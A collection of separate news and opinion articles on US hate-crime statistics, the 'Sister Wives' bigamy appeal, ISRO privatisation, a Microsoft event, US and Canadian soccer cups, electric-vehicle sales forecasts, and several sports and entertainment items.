-Attorney general Loretta Lynch (Chip Somodevilla/Getty)  Like Newton’s or Mendel’s or Rothman’s, an incontrovertible law seems to govern the reaction to acts of Islamic terrorism in the U.S. It runs something like this: If the perpetrators of terrorism are Muslims, the most pressing problem American authorities face is not Islamic terrorism; it’s anti-Muslim rhetoric/crime. Thus, as the nation reeled from the deadliest act of Islamic terrorism on American soil since September 11, Loretta Lynch declared her “greatest fear” to be the “incredibly disturbing rise of anti-Muslim rhetoric” in the U.S., and promised that her Justice Department would “take action” (though how, precisely, is a matter of dispute).  Advertisement  Advertisement  But just how common are crimes against Muslims?  According to the FBI’s annual Uniform Crime Report, there were 1,014 hate-crime incidents motivated by religious bias in 2014. Of those, 154 — 15.2 percent — were anti-Islamic, a slight uptick from 2013’s 135 incidents (13.1 percent).  How alarming are 154 anti-Islamic crimes? Consider this: Last year saw 609 anti-Jewish incidents, and anti-Jewish attacks accounted for 60 percent of religiously motivated hate-crime incidents. This would be uninteresting if the Jewish population in the United States were four times the Muslim population — but it’s not. In fact, the Jewish population (6.8 million) is only about 1/3 larger than the Muslim population (4.5 million, extrapolating from various estimates). That means that not only are anti-Muslim crimes lower in the aggregate; they happen at a lower rate per capita, i.e., There is one anti-Muslim crime for every 29,221 American Muslims; there is one anti-Jewish crime for every 11,166 Jews.​  RELATED: The Attorney General of the United States Is Disgracing Herself  Advertisement  Advertisement  Where is the outcry about the epidemic of anti-Jewish violence?  Of course, just because anti-Muslim hate-crime incidents are comparatively few in a given year does not mean that they are rare historically. Those concerned about the ever-present threat of an anti-Muslim “backlash” constantly point out that, prior to 2001, anti-Muslim hate crimes numbered about two dozen annually.  #share#But, in fact, anti-Muslim hate crimes have been comparatively rare since 2001, too, even if they have not receded to pre-2001 levels. The 154 incidents in 2014 are in line with the historical, post-2001 data, which shows an average of 139 incidents per year, with a low of 105 in 2008 and a high of 160 in 2010. Even in 2010, when numbers spiked, anti-Islamic attacks accounted for less than 2.5 percent of all hate-crime incidents.  RELATED: Dispelling the ‘Few Extremists’ Myth — the Muslim World Is Awash in Hate  And in 2001 itself? There were 481 anti-Islamic incidents — but that accounted, still, for less than 5 percent of all hate-crime incidents, and was still less than half of the anti-Jewish incidents that year.  More and more it seems that this administration has trumpeted a fabricated threat because it is unwilling to face up to a very real one.  Conservatives have been chastised for their condemnation of Loretta Lynch’s remarks. Writing shortly after last month’s attacks in Paris, The Atlantic’s Conor Friedersdorf preemptively defended the attorney general: “Urging people against turning their anger against innocent people is not an unserious priority. It is a reasonable, pragmatic, decent act.”  Advertisement  With that no reasonable person is in dispute. Every threat and assault committed against a Muslim on account of his or her religion is a reprehensible act. One hate crime is too many.  Advertisement  But Lynch and her ilk go further, playing down the threat of Islamic terrorism while playing up the threat American Muslims face from their own countrymen. That is a narrative that has no basis in fact. The notion that American Muslims face a unique, outsized threat of violence is simply not true, while the notion that the Islamic State is far from “contained” is tragically obvious.  More and more it seems that this administration has trumpeted a fabricated threat because it is unwilling to face up to a very real one.  — Ian Tuttle is a William F. Buckley Fellow at the National Review Institute.  Editor’s Note: This piece originally stated that Jews were “four times more likely” than Muslims to be victims of hate crimes. That number failed to account for victimization per capita. The revision above reflects this change. Also, a comparison to “anti-white” hate-crime incidents has been excised.
-Kody Brown shown on the TLC show 'Sister Wives' (Screenshot)  The polygamist family featured in the reality television show “Sister Wives” lost its bid to overturn parts of Utah’s anti-bigamy law under a federal appeals court ruling issued on Monday.  The case, filed after the show’s popularity prompted a criminal investigation into whether star Kody Brown was illegally married to four women, drew international attention and raised questions about whether the state could bar consenting adults from living together as a family.  Polygamy is illegal in all 50 states. But Utah’s law is unique in that a person can be found guilty not just for having two legal marriage licenses, but also for cohabiting with another adult in a marriage-like relationship when already legally married to someone else.  Brown is legally married to one of his wives, and “spiritually” married to the others.  In 2013, U.S. District Judge Clark Waddoups struck down part of the state’s law, saying it criminalizes intimate relationships among consenting adults.  But the U.S. Court of Appeals for the 10th Circuit overturned that ruling on Monday. The court said because the Browns had not actually been charged under the law – and the state said it would not prosecute multiple marriage cases unless there were allegations of fraud or criminal activity – the case was moot.  “Federal courts are courts of limited jurisdiction,” the court wrote. “They lack power to decide issues – however important or fiercely contested – that are detached from a live dispute between the parties.”  Utah is the headquarters of the Church of Jesus Christ of Latter-day Saints, or Mormons, which abandoned polygamy in 1890 as Utah was seeking statehood. Some sects and breakaway groups, however, follow the early doctrine of plural marriage.  The Brown family and their 17 children are members of the Apostolic United Brethren, a Utah-based church which follows a plural marriage doctrine.  The family’s attorney, legal scholar Jonathan Turley, said in a blog post Monday he would appeal the decision.  “The Brown family is obviously disappointed in the ruling but remains committed to this fight for the protections of religion, speech and privacy in Utah,” Turley wrote.  But Utah Federal Solicitor Parker Douglas said the state had a legitimate interest in prosecuting abuses that can arise in polygamous relationships.  Shortly after Waddoups struck down the law, a woman alleged that her polygamous husband had shunned her and planned to “sell” their daughter and a niece, and he was not able to use the bigamy law in prosecution, Douglas said.  (Reporting by Sharon Bernstein; Editing by Leslie Adler)
-Duck Dynasty, the show that gave a platform to unlikely Christian evangelists and not-so-subtle bigots, is finally going off the air. The Robertson family announced this week that the current season of the show would be its last.  … the cable network said: “After five years, 130 episodes and one of the biggest hits in the history of cable, the Robertson family and A&E jointly decided that Duck Dynasty, the series, will come to an end after this season.”  Whether it was truly a joint decision from both sides is anyone’s guess. But the show won’t be missed by atheists or anyone else who cares about LGBT rights.  The patriarch of the family, Phil Robertson, made very clear over the years that he found homosexuality disgusting (and LGBT people unworthy of equal rights). He wanted to “rid the earth” of gay marriage supporters and infamously compared homosexuality to bestiality. He also assumed atheists were so immoral that rape, murder, and violence would never faze us since morality was subjective.  Liberals obviously weren’t the target audience — I can’t recall ever watching it on purpose — but in a nation where Donald Trump can become president, and people care about the Kardashians, I guess it only made sense that millions of people cared to watch this family.  And besides. When it comes to bigotry and homophobia, it’ll be hard to top coverage of the Trump administration.
-Amid all the noise about new satellites and maiden launches, there is something interesting quietly taking place at the Indian Space Research Organization. It is building and nurturing the private industrial capabilities in the country to support its activities. Other than making some big announcements like outsourcing manufacture of an NAVIC satellite to the private sector or privatization of PSLV operations by 2020, ISRO is also making focused efforts to consolidate and enhance participation of Indian industries for production of hardware required for satellites and launch vehicles, such as rocket engines, propellant tanks etc.  Only recently ISRO chief A.S. Kiran Kumar had pointed out that India’s space capacity of 34 working commercial communications satellites is capable of serving barely half of India’s current needs. He said the space agency is severely constrained to meet the ever-increasing demands from over 60 central departments, 29 states, and thousands of private sector companies, while urging the domestic industry to come forward and help augment the manufacture and launch of satellites.  ISRO chief A.S. Kiran Kumar has urged the domestic industry to come forward and help ISRO augment the manufacture and launch of satellites.  “Our current strength is around 16,000 people, which is not enough to achieve the throughput we have aimed at,” Kumar said. “We need the help of industry players to achieve our goals. We are open to startups and smaller companies that meet our requirements. An example would be Bellatrix.”  Around 80% of the development work on launch vehicles had been outsourced, with ISRO doing just the supervision work. Even Chandrayaan II, scheduled to be launched in early 2018, had many sub-systems developed by private players.  “ISRO is encouraging a lot of private industry to come up, as we believe in indigenizing technology and its transfer,” Uday Raj, General Manager RRSC – South and Associate Program Director, Space applications, ISRO, told Geospatial World on the sidelines of a seminar on location based services, organized in New Delhi by Ficci. “We are allowing private players to join hands with us to develop some product and services. For instance, as part of collaboration, MapMyIndia is sharing its huge geospatial database on our Bhuvan platform.”  Private NAVIC satellites  In April this year, ISRO announced that for the first time ever it has partnered with a private player for manufacturing two of its satellites. A consortium led by Bangalore-based Alpha Design Technologies is building two backup satellites for its satnav system. NAVIC has seven satellites in orbit, and the ISRO wants the two additional ones to be launch-ready in case any of these malfunctions.  The move to outsource was taken to expedite the various missions ISRO is working and it was finding too taxing the efforts to make everything in-house. “There is a gap between what we are capable of doing now versus what we are supposed to make. That gap we want to fill up with support from the industry… 16 to 17 satellites we have to make every year. So it is a really-really quantum jump and to fill that gap…, we thought the industry could come in,” M. Annadurai, Director of ISRO Satellite Centre in Bengaluru, had said.  READ: ISRO’s Top 5 Upcoming Innovative Programs  Privatization of PSLV operations  Last year the ISRO chief said the agency was in discussions with the government as well the private sector towards formulating a plan and strategy to enhance the capacity and capability of managing the Polar Satellite Launch Vehicle (PSLV) program on an end-to-end basis. The integration and launch of the rocket will be handled by an industrial consortium through Antrix Corporation, the commercial arm of ISRO. The tentative date of implementation is 2020.  PSLV-C37 goes up carrying a record 104 satellites from Sriharikota on February 15.  Dr Jitendra Singh, Union Minister of State (Independent Charge) Development of North-Eastern Region (DoNER), MoS PMO, Personnel, Public Grievances & Pensions, Atomic Energy and Space, had said in a written reply in Parliament that ISRO is in the process of exploring the possibility of involving Indian industry in a greater role to meet the increased national requirements and possible commercial demand for launch services.  The main advantage of privatizing the PSLV operations is to increase the rate of launches from 12 to 18 per year.  Private satellites for Digital India  Meanwhile, the Telecom Regulatory Authority of India (TRAI), has also suggested that ISRO ropes in the private sector to launch satellites in low and medium orbits to expand broadband penetration in the country to further the government’s vision of Digital India.  India had about 31% Internet connectivity and it was estimated that only 450 million of India’s of 1.25 billion people would have internet connectivity by June, a report from the Internet and Mobile Association of India and market research firm IMRB International had said in March. It added that there are potential approximately 750 million users still in rural India who are yet to become Internet users. But currently this is not possible given the status of data penetration in the country, especially the Northeastern parts where laying optic fibre cables is difficult given the rough terrain.  One must mention here that there exists a provision for private players to operate communication satellites on their own in India through an established mechanism called Committee for Authorising the establishment and operations of Indian Satellite Systems (CAISS). Under a policy approved by the Government of India in 2000, only Indian registered companies with FDI not more than 74% may be allowed to establish and operate such a satellite system.  Why this is necessary?  First and foremost, ISRO’s frugal budget. ISRO’s this year’s annual budget stands at around $1.4 billion even after a substantial hike, which are peanuts when compared to NASA’s 19.1 billion. Earlier in the year, the Indian Parliamentary Standing Committee on Science and Technology, Environment and Forests had asked for a 50% hike, while ISRO chairman stressed on the need for “for manpower for producing various satellites and also bolster the R&D set up to develop new generation satellite and launch vehicles”.  There was two pressing reasons for an increase in ISRO’s budget. With the Indian government’s aggressive focus on geo-enabling of various sectors, there is pressure on ISRO’s downstream services, which again translates into newer satellites and launch vehicles. Additionally, the tremendous success of the Polar Satellite Launch Vehicle (PSLV) globally, especially after the record 104-satellite launch, has led to further launch demands.  A written reply by the Department of Space to Parliament acknowledges this: “Considering the enhanced national requirements for launching satellites for earth observation, communication & navigation, the present capacity of launches is a constraint.” In order to step up the launch capacity within the country, ISRO is in the process of exploring the possibility of involving Indian industry in a greater role towards producing integrated systems/subsystems, including assembly and testing by vendor as per ISRO’s design, the statement adds.  Secondly, the move to commercialize is also keeping up with the global trends. There is a concerted move to open up the space sector across the world. While NASA has for long supported private players, under the Trump administration it has taken bold steps towards further commercialization of the sector through legislations like the NASA Transition Act and the recently introduced American Space Commerce Free Enterprise Act of 2017. The European Space Agency (ESA) has also been a great proponent of public-private collaboration in space, which according to it is capable of bringing diverse advantages. Under a ‘Space 4.0’ policy, which fosters the transition of ESA from a government-run laboratory in orbit to a commercially driven human and robotic spaceflight economy, a step-wise approach is nurturing new commercial services led by European private companies that strengthens the competitiveness of the space and non-space industrial base, stimulates R&D, and integrates innovative solutions into ESA space exploration missions.  Even in countries such as Canada or Japan, there has been move towards commercialization of the sector. Among the big space powers, perhaps only China can be compared to India in terms government controls and monopoly of the state agency.  The last but not the least is global technology innovation. The launch costs aboard a PSLV is currently the lowest, at a paltry $15 million. In comparison, it currently costs SpaceX about $60 million to send each rocket into space. NASA’s launches cost more than $100 million. Those by the European Space Agency’s (ESA) Ariane-5, Japan’s H-IIA, and the Chinese Long March also cost about the same. A Russian Proton costs $68 million to launch.  However, the PSLV can launch only up to a weight of 1,800 kg. ISRO’s recently launched GSLV MK- III (Geosynchronous Satellite Launch Vehicle Mark III) put a satellite weighing 3,136 kg in the orbit on June 6. But for anything heavier ISRO doesn’t have a solution yet. SpaceX claims its Falcon Heavy, scheduled for launch later this year, is capable of launching 54,000 kg in space, more than twice the payload of the next closest operational vehicle, the Delta IV Heavy, at one-third the cost. Delta IV Heavy, manufactured by United Launch Alliance, is the world’s highest capacity rocket (25,000 kg) currently in operation and costs $435 million per launch (calculated from an Air Force contract of $1.74 billion for 4 launches).  Also, where SpaceX is miles ahead of ISRO (and any other competitor at this moment) is how it has perfected the reusable rocket technology, which allows for a soft-landing of its rocket’s first stage after a launch, which enables re-use of a rocket the second (and possibly third or fourth or nth time) time as it recently proved on March 30. Once the company perfects this technology, the cost for launching a SpaceX Falcon 9 rocket would come down to $612,000, or lower. With Jeff Bezos’s Blue Origin close on the heels, the day is not far when ISRO could find it difficult to maintain its current USP — low launch costs.  And this is just launch costs. If we add innovation in satellite technologies, hardware costs etc, it would be not only more cost efficient for ISRO to outsource, but also get things faster, better and on time.  The road ahead  Privatizing PSLV operations and outsourcing hardware manufacturing will not just free up ISRO to focus on more nation-building missions, but also create a vibrant Indian space market.  This is very much in keeping with the global trend. Premier national space agencies such as NASA or ESA or JAXA do not engage in commercial manufacture of communications satellites or leasing transponders. They instead focus on building next generation R&D capabilities and possibilities, leaving the private sector to take care of commercialization.  ALSO READ  GSLV Mk III, once under US embargo, up for launch  ISRO’s disaster management platform gets more user friendly
-Microsoft wrapped up its big event in New York this morning and left most Microsoft fans in awe. A flurry of announcements for both hardware and software in Microsoft’s future gave us all something to look forward to. It wouldn’t be a good Microsoft conference, however, without some incredible videos to give these announcements that extra bit of flair. Here are our favorites.  Microsoft’s conference revolved around creators – not just painters and musicians, but people who create anything. Whether you sit down at your computer to compose a symphony or create a great spreadsheet, Microsoft wants to celebrate your identity as a creator. This video does a great job of showing off their plan to empower creators of all kinds.  A lot of us tuned into this event to get some hardware news, and Microsoft delivered. While what we ended up getting wasn’t named the Surface Book 2, it might as well be. The Surface Book i7 does everything that made the original Surface Book great and does it all with bigger and better hardware. This clean-cut, nice-looking video gives us a look at one of the prettiest laptops that are on the market today.  This video can give you chills. Personally, I watched it about ten times after the conference. This serves as a fantastic introduction to the Surface Studio while giving a subtle nod to the new Surface Dial. The haunting rendition of Pure Imagination in the background ties the whole thing together, giving you a genuine feeling of artistry. This video might go down as one of the best ones that Microsoft has ever put out.  This takes a break from the more theatrical nature of the other videos and opts to give you a few testimonials. Hearing professionals talk about how the Surface Studio helps them do wonders to sell the device. Mix this praise with some upbeat instrumentals and a few great shots of the Studio at work, and you’ve got a solid ad.  If you don’t feel like dropping the money on any new hardware this year, you can still get excited about the Windows 10 Creator’s Update. The update is all about empowering creators of all kinds, and this video does wonders for that. From showcasing Groove Music Maker, to taking a look at the new streaming function from the Xbox Game Bar, to exploring Windows 10’s new fascination with 3d, this ad helps you get an idea of what the update is all about.  Share This  Further reading: Microsoft
-The fourth round of this year’s US Open Cup kicks off tonight with three matches, as the MLS teams enter the competition.  All eyes will be on the standout match of the round. Not the Sounders hosting the Timbers, there’ll be no Clint Dempsey tantrums to entertain us this time around. Not even the rather tasty looking clash between San Jose Earthquakes and San Francisco Deltas, or Alan Koch’s FC Cincinnati hosting Columbus Crew. The game we’re talking about will be played out tonight at the Maryland SoccerPlex, as D.C. United played host to Baltimore amateur side, Christos FC.  A giantkilling awaits. The ‘Magic of the Cup’ and all that. But the whole story of Christos FC and their cup run to the fourth round, is what cup football is all about. Or should be anyway.  I can’t even pretend to do the Christos FC story justice. This excellent article from the Washington Post will do that. In short, this is an amateur club that are named after a discount liquor store, meet at the store, don’t train, and play for the love of the game and the beers afterwards. They’re also the reigning USASA National Amateur Cup champions.  Playing in the Maryland Major Soccer League, an affiliated league of the United States Adult Soccer Association, Christos FC play in what is the fourth/fifth tier of the US soccer pyramid. They’re the lowest ranked team left in the competition, and have already won three matches on the road to get to this point, and without conceding a goal in the process.  Now maybe coming up against MLS opposition will be a step too far. Or maybe it will be a footballing fairytale we love to see play out in the F.A. Cup ala Sutton United and Lincoln City this season. However it ends, it’s a great story to follow and epitomises why I’ve always love cup football so much.  Sadly, as the money takes over the game and league football is primarily all that matters any more to the big teams around the world, cup games have taken a back seat, with the top teams fielding weaker sides full of younger and fringe players. We see it ourselves here in Vancouver every year with the Whitecaps in the Canadian Championship. Something that cost us big time in the second leg against Montreal last month.  But for me the lure and magic of cup football still shines brightly. That’s been ingrained to me from an early age. As an East Fife supporter, cup games provided some of the rare excitement and success in recent season for a club with a rich cup history. We were the first club from outside the top flight to win the Scottish Cup in 1938, a record which was only matched last year, and won three Scottish League Cups in a seven year span in the 40’s and 50’s. Slim pickings since, but a lot of memories from giantkilling games in both competitions over the years.  That’s why I hate to see cup competitions devalued by clubs. Teams who see it as an annoying aside rather than a meaningful chance to win silverware. In the States, it feels that the vast majority of the clubs and soccer fans simply don’t appreciate what a wonder competition they have in the shape of the US Open Cup. The nature of the beast of the game here in North America, where playoffs are king.  Some do, and that warms my heart. It’s a competition with a 104 year history, that is open to amateurs clubs and professional ones alike. A Cup that this season kicked in September of last year with qualifiers featuring 64 teams and will see a record 99 clubs compete from the first round proper.  It’s everything I dearly want the Canadian Championship to be. I want the Voyageurs Cup to be lifted by a club that’s had to battle against the best all across Canada, at every level of the game, in a truly national cup competition. Not one that’s contested by only five clubs every season.  The US Open Cup isn’t perfect. There’s still some flaws, but they’ve addressed some too in recent seasons with the regionalisation of matches to cut down travel and costs and to try and get MLS clubs to field stronger line-ups. It hasn’t worked, but they’re trying.  The US Open Cup is the benchmark that the Voyageurs Cup should aim to become.  I’d much rather see the Whitecaps playing BC Provincial Cup winners Club Inter, VMSL champs Coquitlam Metro-Ford Wolves, or PDL side TSS Rovers to kick off their cup campaign, than another match against MLS opposition and only entering at the semi-final stage. It may not draw huge numbers to the match, or see the ‘Caps field a particularly strong side, but it would be great for local soccer and the game in general in Canada to have these teams involved.  Change is at least on the way.  Canada Soccer announced in March that the Canadian Championship will be getting a long overdue reboot from next season. The 2018 battle for the Voyageurs Cup will be expanded to include both the League1 Ontario and Première Ligue de soccer du Québec champions. Canadian Premier League side are expected to all take part in the competition once that gets underway in 2019.  That’s great but it just doesn’t go far enough.  It would be nice to see Canada’s Provincial Cup champions get included in the mix, or at the very least the winner of the Challenge Trophy at the nationals. The huge omission though are Canada’s six PDL teams – Calgary Foothills, K-W United, Thunder Bay Chill, TSS Rovers, Victoria Highlanders, and WSA Winnipeg.  “I’ve talked to somebody back east that has been a very big proponent and is deeply involved in the League1 scenario,” TSS head coach Colin Elmes told AFTN. “I said to him, please give me a rational argument as to why PDL has been left out of this model. He did clear a couple of things up for me.  “Only the League1 champions will be eligible. Down in the US, 21 PDL teams took park in this year’s US Open Cup. There are 70 teams in PDL. 21 of them have qualified to become eligible to be in the US Open Cup. Now that environment has been functioning for a very long time.”  It’s something that hasn’t sat well with the PDL teams, especially Calgary Foothills and TSS Rovers who have been vocal about it on Twitter. And rightly so. You also have the likes of K-W United, who won the PDL Championship in 2015.  But as irked as they are at being left out, Elmes is at least happy that the CSA have started to open up the tournament beyond the current five participants. He would just love his team, and others, to be a part of it.  “It’s a step in the right direction, I believe,” Elmes told us. “I’ve always said, and made comments like, Coquitlam Metro-Ford Wolves, why are they not able to find some way to be in a challenging environment to be part of that? So they’ve opened it up [with a view] to the Canadian Premier League set up.  “Clearly they’ve made a statement here to suggest that PDL is not on the radar, at least not right now. Some people have actually said things to me like ‘oh it’s an American league’, and I’ve countered in about 1.2 milliseconds so are all the leagues of everybody.”  But it does appear that the PDL is certainly looked at differently than MLS, USL, and NASL by the powers that be in Canadian soccer.  “It would be interesting to get into a room, and stay calm, and talk through the reasons why,” Elmes said. “One of the reasons I was given, by this person who will remain unnamed, was that the CSA is not that big on PDL.”  Disappointing, but perhaps not unsurprising with the push to get existing and new Canadian clubs to be part of the Canadian Premier League or a regional Tier 3 league.  “They’re not that big [on PDL] now because of League1,” TSS’ Will Cromack added. “It’s a carrot perhaps for people to join RT3… We always feel that clubs should be allowed to participate if they so like. In anything. Whether that be leagues or otherwise. Meet the standards of the league and you enter. You earn your way in. It should be a meritocracy. It should be, we’re here and we’re paying to exist.  “We’re actually the only club that we know of, including League1, that we’re only here for Canadians. So why wouldn’t be allowed in our own Canadian Championship? For me, it’s just systematic of a broken system that wants to be controlled, when the only way to free and to create and to develop players is to open it up, so clubs can be free to develop their clubs how way that they want them.”  Part of the reason we’ve heard on the grapevine for the omission of PDL clubs from an expanded Canadian Championship is down to the length of the PDL season, which only runs from May to July.  “It’s interesting the excuses and stories that come out,” Elmes told us. “I’ve had someone say to me, oh the [PDL] league is only 10 week’s long. So I’m like, okay, is there some kind of goalline that says that it needs to be 11 weeks? League1 is 16 weeks. So the litmus test is somewhere inbetween 10 and 16 weeks in whether that particular group is eligible and stuff.  “It’s been interesting because clearly not many people have said anything publicly, but the comebacks privately have been very, very weak. The reality is unfortunately that there is a level of protectionist for a situation occurring here. The people that make these decisions want certain environments to thrive.”  For Elmes and TSS Rovers, the issue isn’t much more than sidebar right now as they get on with the business of getting through their first PDL season. But it’s the principle of the whole issue for some of the other highly respected clubs that adds to his feeling of unfairness to it all.  “Let’s look at it a bit deeper,” Elmes said. “TSS is obviously this group that has rattled a few cages over the years, but how do you explain this to Calgary Foothills? Seriously. One of the best clubs in the country.  “A member of the Alberta Soccer Association. A women’s team now. A men’s team. Multiple national championship involvement over the years at club level. How does one go to them and say you know that team that you’ve got at under 23, well they’re in the wrong place?”  There’s no doubting that the Canadian Championship will continue to grow and expand in the coming years. That is only good for the competition, the clubs, and the game here. Will it eventually end up as a Canadian Open Cup? Truly accessible to every sanctioned Canadian club that meets the qualifying criteria? No matter the league. No matter whether professional or amateur.  We hope so, but won’t be holding our breath. For now, at least we can enjoy the US version.  If you want to watch Christos FC’s bid for a massive cup upset, you can find a stream for that match and most of the others at the excellent TheCupUS site, when confirmed.
-FORTUNE -- To be a successful forecaster, the wise man said, pick a number or a date -- but don't pick both.  I only wish that seers into the future of the electric vehicle and its cousins, the plug-in hybrid and the standard hybrid, followed such sensible advice.  With investors and the media displaying an inexhaustible appetite for news about the next new thing in automotive propulsion, there has been an irresistible temptation to feed the beast by conjuring up dates and numbers to quantify the speed and volume of adoption. Invariably, they fail to properly assess the reluctance of the American car buyer to shift into an alternative-fuel vehicle, except when spiking gasoline prices cause extreme budgetary pain.  Even professional forecasters have fallen victim to EV fever. In 2008, J.D. Power's veteran powertrain expert Michael Omotoso looked ahead to 2009, when a more powerful and fuel-efficient next-generation Toyota Prius was scheduled to debut, and declared, "In 2009 we see hybrid sales going over 600,000 units." It was a bold forecast but way off the mark. Hybrids finished the year with sales of 290,272.  Undaunted, Omotoso didn't stop there. He went on to say, "We see the hybrid unit continuing to grow to over 1 million units by 2012 so long as gas prices grow." Gas prices moderated for a time, and hybrid sales actually fell in 2010 to 236,000.  Ever so gradually, Omotoso has been moderating his outlook. In a report published in April, 2010, he stretched his million-unit bogey out by a year to 2013 -- still an optimistic target. Later in the year, after more disappointing sales, 2014 became the million unit goalpost. But he was still looking for hybrids and pure electrics to grab 4% of the market in 2011; a year later, the actual run rate this year has been closer to 2.4%. Consumers want better mileage but they are still wary of hybrid technology and the price premium that goes along with.  Nobody would accuse Bill Ford of hyping Ford Motor's (F, Fortune 500) prospects. But he is an ardent environmentalist who would like to align his family's auto company more closely to his own interests. In a speech before the National Press Club in 2005, he talked about Ford's intention to build "up to 250,000 hybrids by 2010." "Up to" is the operative phrase here -- Ford never came close. Ford sold exactly 35,496 hybrids last year.  To his credit, Ford came to realize the folly of trying to forecast sales in such a volatile environment. In a 2009 interview at the Fortune Brainstorm Green conference, he admitted, "One thing I'll tell you for sure: Our ability to forecast has been just horrible," he was quoted as saying. "[We] might just as well have tossed darts."  Ford must think that the company's accuracy has improved because he's been forecasting again. He's been articulating the company line that it expects that 10% to 25% of its 2020 global sales will be comprised of electrified vehicles. Based on last year's volume, that would equate to 1.3 million vehicles at the high end. That's a mighty leap from last year's performance. Moreover, Ford believes the number could go even higher if "major affordability and limited infrastructure issues" are overcome. We'll see, but past performance isn't encouraging.  Confidence in the accuracy of forecasts isn't improved when key facts get lost in translation. No one is immune. Nissan CEO Carlos Ghosn was once asked about the capacity of its Tennessee plant to build the Leaf EV. Ghosn replied, "We start production in Smyrna at the end of 2012, at which point there will be capacity for 150,000 annually." When that statement was picked up by Reuters, it became "Nissan will build more than 100,000 electric vehicles a year when it starts U.S. production of the zero-emission vehicles at its Smyrna, Tennessee plant in two to three years' time. " As any student of the auto industry will tell you, there is a huge difference between the capacity of a plant to build cars and the number it eventually builds. Ghosn, who is extremely bullish about the EV outlook, was made to look more bullish than he actually was.  While he was victimized in this case, Ghosn is the father of one of one of the industry's boldest predictions: that sales of pure EVs will reach 10% of overall sales by 2020. Ghosn doesn't even make that goal conditional on gasoline prices. Ghosn is a smart man who has accomplished the impossible before and has staked his legacy on the success of the EV. But given the failure of the electrified car to live up to many of the expectations that have been set for it, you hope he has a set of very accurate darts.
-By Andrew Liszewski  It seems more people are getting tattoos these days to show loyalty to a particular brand or product than for traditional rebellious reasons. We’ve all seen our share of Nintendo, Apple or even Zune tattoos, but none of them come even close to the ink that one Spiderman fan had done. The tattoo is designed to look like the guy’s skin is actually being torn away to reveal the Spiderman costume underneath. While I personally think having the Superman logo revealed on his chest would’ve been slightly cooler, this tattoo is still an impressive piece of work.  You can check out the thread that this tattoo spawned on Emptees.com, but I have to warn you that some of the other tattoos are definitely not safe for work.  [ Emptees – Craziest Tatoo I’ve Seen (NSFW) ] VIA [ Geekologie ]
-"It felt like an opportunity I couldn't say no to," said Pedrie, 23. "It's something I worked my whole life to get to, and I couldn't say no to that."  GREENBURGH, N.Y. -- When opportunity knocks, you answer. Just ask New York Rangers defenseman prospect Vince Pedrie, who gave up his final two years at Penn State University for a chance to play in the NHL.  The opportunity came the day after the Nittany Lions were eliminated from the NCAA championship by the University of Denver on March 26.  "I talked to [the Rangers] through my adviser a little bit through the year and I didn't know if they were seriously interested or not," Pedrie said. "After the season ended when we lost to Denver, the next day they contacted me and made me an offer. I felt like it was the perfect place playing for an Original Six team. It's something that I've dreamed of."  After signing a two-year entry-level contract with the Rangers on March 28, Pedrie had five assists in nine games with Hartford of the American Hockey League.  "I thought Vince came in and showcased himself well," Hartford coach Keith McCambridge said. "He showed good poise with the puck and possessed strong attributes that you usually don't see right away in defensemen who are just getting a feel for the pro game. For a player who just joined us at the end of his season, he came across as very motivated and professional. He left a good impression on us."  Said Hartford general manager Chris Drury: "He's super competitive and has a lot of polish. He does a lot of things well that you look for in a D-man in this day and age."  Pedrie attended Rangers development camp last month and is expected to be at training camp in September.  "As usual, there will be a learning curve for a young D-man like Vince," McCambridge said, "but it was a good step in his development to come in at the end of last season and just get a feel for where his game is and where it needs to be in order for him to play for the Rangers."  During his two seasons at Penn State, Pedrie had 52 points (16 goals, 36 assists) in 71 games, helping the Nittany Lions, who began Division I play in 2012-13, win the Big Ten tournament.  "Vince has a way of making the game a lot more exciting," said Erik Autio, Pedrie's defense partner at Penn State. "Playing defense with him is really easy because he uses his offensive instincts to move the puck out of our zone really quickly. He also has an absolute cannon on the blue line, so setting him up for a one-timer is always a good idea."  Pedrie, who grew up in Rochester, Minnesota, says he sees himself playing for the Rangers when they feel the time is right.  "My goal is to win a Stanley Cup in New York," he said, "and do whatever I can to contribute."  Main photo credit: Chris Rutsch/Hartford Wolf Pack
-The Seattle Seahawks talked Tuesday about their plans for veterans Chris Clemons and Brandon Browner, each players recently re-signed to the team.  Tuesday offered the first official words from the Seahawks about the recent re-acquisitions of cornerback Brandon Browner and defensive end Chris Clemons — each members of the team’s Super Bowl XLVII-winning team before playing the last two seasons elsewhere.  And confirming what had been speculated, the Seahawks said each veteran player is likely going to be used in a more situational role than during their previous stints with the team. Each was a starter on the defense that helped Seattle beat Denver 43-8 in the Super Bowl before departing — Clemons was released in a salary-cap move while Browner was not re-signed after becoming an unrestricted free agent.  Browner, 31, played last season with New Orleans and in 2014 with New England while Clemons, 34, played the last two seasons with Jacksonville. Each recently signed one-year contracts that represent a small investment and little risk for the Seahawks.  Here’s how general manager John Schneider described the plans for each player when asked during the team’s annual pre-draft press conference Tuesday:  “With Chris, last year they wanted him to be a little bit more of a situational pass rusher. They ended up playing him more than they wanted to. We recognized that, you could kind of see it on tape. But he’s been here, he’s got a specific attitude about him. Losing Bruce (Irvin in free agency), some of those reps that Bruce was taking as a situational rusher, that’s really kind of how we see Chris. With Brandon, it was really a situation where the last two places he’s been — New England and then New Orleans — he’s been a strong leader for them. When you have to make those decisions to move on from a guy because you can’t afford him and then yet they still want to come back to your family, your team, your organization, that’s big for us. So it was a way for us to accentuate that. Now how we use him, that’s still to be determined.”  Said coach Pete Carroll:  “Both guys are really special competitors and they’re really tough-minded guys and we loved them when we had them, we hated when we had to lose them. So the opportunity arose and John figured it out and jumped at it. Both guys come back, and they bring something special to us. Clemons is a really adept rusher, and he’ll be good to help our young guys learn, too. If we can keep it in the mode that we want to and the numbers of plays we want to, we think we can really keep him effective. Brandon’s got some special skills as we know, and he’s very aggressive coverage-wise and makes things happen. So we’re going to do some different things with him you’ll see in the future. We have a nice plan for it. So we’re excited about both those guys coming back. Fun to have in the building.”  Schneider added that continued enhancements in how the team monitors the conditioning of players makes it easier to bring back veterans and know how to get the most out of them.  “When you get those guys, guys like this, I would say four or five years ago we wouldn’t be able to do something like this,’’ Schneider said. “But with Sam Ramsden and his staff on the sports science group working with our coaches and the trainers and strength and conditioning guys, we’re able to track them a little bit better and monitor how we’re using them, how they’re practicing, and can we help them where they are at physically.”
